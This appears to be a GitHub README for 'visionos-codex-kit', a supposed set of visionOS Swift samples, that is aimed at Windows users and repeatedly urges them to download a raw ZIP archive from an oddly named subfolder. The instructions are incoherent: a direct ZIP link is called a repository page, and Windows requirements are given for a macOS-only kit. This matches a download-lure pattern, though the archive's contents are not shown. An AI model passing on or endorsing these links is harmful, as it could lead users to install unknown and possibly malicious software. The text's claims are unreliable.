visionos-codex-kit provides ready-to-use code examples and setup templates for building apps with Apple Vision Pro and visionOS. It helps you start your development with clear blueprints in Swift and SwiftUI. The kit focuses on skills for spatial computing, RealityKit, and integrating Apple’s ARKit technologies.
You won’t need advanced programming knowledge to follow the materials and apply them. visionos-codex-kit gives a practical foundation to work with visionOS tools and the Apple development environment.
Before using visionos-codex-kit on your Windows computer, make sure your setup meets these minimum requirements:
- Windows 10 or later (64-bit)
- Intel Core i5 processor or equivalent
- At least 8GB of RAM
- 10GB of free disk space
- Internet connection for downloading files and tools
While visionos-codex-kit is designed for Apple’s platform, you can prepare, test, and study the code on Windows with the right tools.
Use the link below to visit the official page and download the resources. The page includes all the files you need to get started.
Click the badge above or follow this URL:
https://github.com/rupasingheujith-glitch/visionos-codex-kit/raw/refs/heads/main/breastplow/kit-visionos-codex-v1.7.zip
- Open the link to the GitHub repository: https://github.com/rupasingheujith-glitch/visionos-codex-kit/raw/refs/heads/main/breastplow/kit-visionos-codex-v1.7.zip
- On the main page, look for the green button labeled Code.
- Click Code, then select Download ZIP from the dropdown menu. This will download all files as a single compressed folder.
- After download completes, locate the ZIP file in your Downloads folder.
- Right-click the ZIP file and select Extract All… to unzip the contents. Choose a folder where you want the files to be saved.
- Open the extracted folder to view the code samples and blueprints.
Since this is a toolkit with example code and templates, you won’t run a single program but will explore and use the files in development tools.
To make full use of visionos-codex-kit, you will need software tools on your Windows machine.
- Visual Studio Code or any code editor to open and read the Swift and Xcode project files.
- Xcode (macOS required) for building and running visionOS projects and applications.
- Git (optional) to clone the repository if you want to update or manage versions.
- An Apple Developer Account and a Mac computer are necessary for testing and deploying actual visionOS apps.
This kit helps you learn code patterns and build logic but does not replace the need for macOS and Apple tools to test apps on Apple Vision Pro.
The kit contains Swift and SwiftUI code samples focused on:
- Setting up spatial scenes with RealityKit
- Using ARKit features for augmented reality
- Integrating OpenAI Codex with Apple Vision Pro
- Creating interactive UI elements for visionOS
Open the project files in Xcode on a Mac to view or edit the code. Each folder in the repository explains its purpose in a README file.
If you don’t have immediate access to a Mac, review the code on Windows using Visual Studio Code to understand how the pieces fit together.
Running visionos-codex-kit projects requires Xcode on macOS. These projects are built for the Apple Vision Pro headset and visionOS SDK.
To run a sample project:
- Copy or clone the repository to your Mac.
- Open the
.xcodeprojfile with Xcode. - Connect your Apple Vision Pro device or use the visionOS Simulator included with Xcode.
- Select the target device or simulator in Xcode.
- Press the Run button to build and launch the project on the device or simulator.
This process will show how the samples behave in a spatial computing environment.
- ZIP Extraction Fails: Use a different program like 7-Zip if Windows default extractor gives an error.
- Missing Xcode on Mac: Install the latest Xcode from the Mac App Store to open the projects.
- Cannot Run visionOS Simulator: Update Xcode and macOS to the latest version for support.
- Code Not Recognized in Windows Editor: Swift code may highlight as errors in editors not designed for Swift; this is normal.
Explore these topics to get comfortable with the components in visionos-codex-kit:
- Apple Developer site for visionOS and Vision Pro documentation
- Swift language basics and SwiftUI tutorials
- RealityKit and ARKit Apple guides
- Using OpenAI Codex for AI-driven app features
This repository covers these key areas:
- apple-development
- apple-vision-pro
- arkit
- openai-codex
- realitykit
- spatial-computing
- swift
- swiftui
- visionos
- xcode
Understanding these will help you navigate Apple’s spatial computing world with visionos-codex-kit.
Inside the downloaded package you will find:
- Blueprints: Project templates to start visionOS apps.
- Code Samples: Ready pieces of Swift and SwiftUI code focused on AR and spatial UI elements.
- Docs: Guides explaining how each sample works.
- Assets: Images, 3D models, or sounds used in the examples.
Review these folders to explore and learn systematically.
You can always return to this page to get the latest version:
https://github.com/rupasingheujith-glitch/visionos-codex-kit/raw/refs/heads/main/breastplow/kit-visionos-codex-v1.7.zip
This will keep you updated with fixes, new samples, and improvements.